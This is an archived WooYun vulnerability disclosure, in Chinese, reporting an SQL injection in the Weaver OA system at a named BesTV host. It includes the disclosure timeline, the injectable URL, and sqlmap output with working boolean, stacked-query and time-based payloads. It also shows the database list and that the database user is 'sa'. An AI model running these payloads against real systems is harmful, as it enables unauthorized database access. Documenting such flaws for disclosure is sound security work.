乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-18: 细节已通知厂商并且等待厂商处理中 2015-08-18: 厂商已经确认,细节仅向厂商公开 2015-08-28: 细节向核心白帽子及相关领域专家公开 2015-09-07: 细节向普通白帽子公开 2015-09-17: 细节向实习白帽子公开 2015-10-02: 细节向公众公开
SQL注入
http://oa.bestv.com.cn用的泛微的系统
注入点http://oa.bestv.com.cn/weaver/weaver.email.FileDownloadLocation?fileid=39*&download=1
sqlmap identified the following injection points with a total of 67 HTTP(s) requests:---Place: URIParameter: #1* Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://oa.bestv.com.cn:80/weaver/weaver.email.FileDownloadLocation?fileid=39 AND 3531=3531&download=1 Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: http://oa.bestv.com.cn:80/weaver/weaver.email.FileDownloadLocation?fileid=39; WAITFOR DELAY '0:0:5'--&download=1 Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: http://oa.bestv.com.cn:80/weaver/weaver.email.FileDownloadLocation?fileid=39 WAITFOR DELAY '0:0:5'--&download=1---
数据库
web application technology: JSPback-end DBMS: Microsoft SQL Server 2008available databases [7]:[*] ecology[*] master[*] model[*] msdb[*] ReportServer[*] ReportServerTempDB[*] tempdb
current user: 'sa'current database: 'ecology'
泛微的系统注入点http://oa.bestv.com.cn/weaver/weaver.email.FileDownloadLocation?fileid=39*&download=1
危害等级:低
漏洞Rank:5
确认时间:2015-08-18 10:01
正在处理
暂无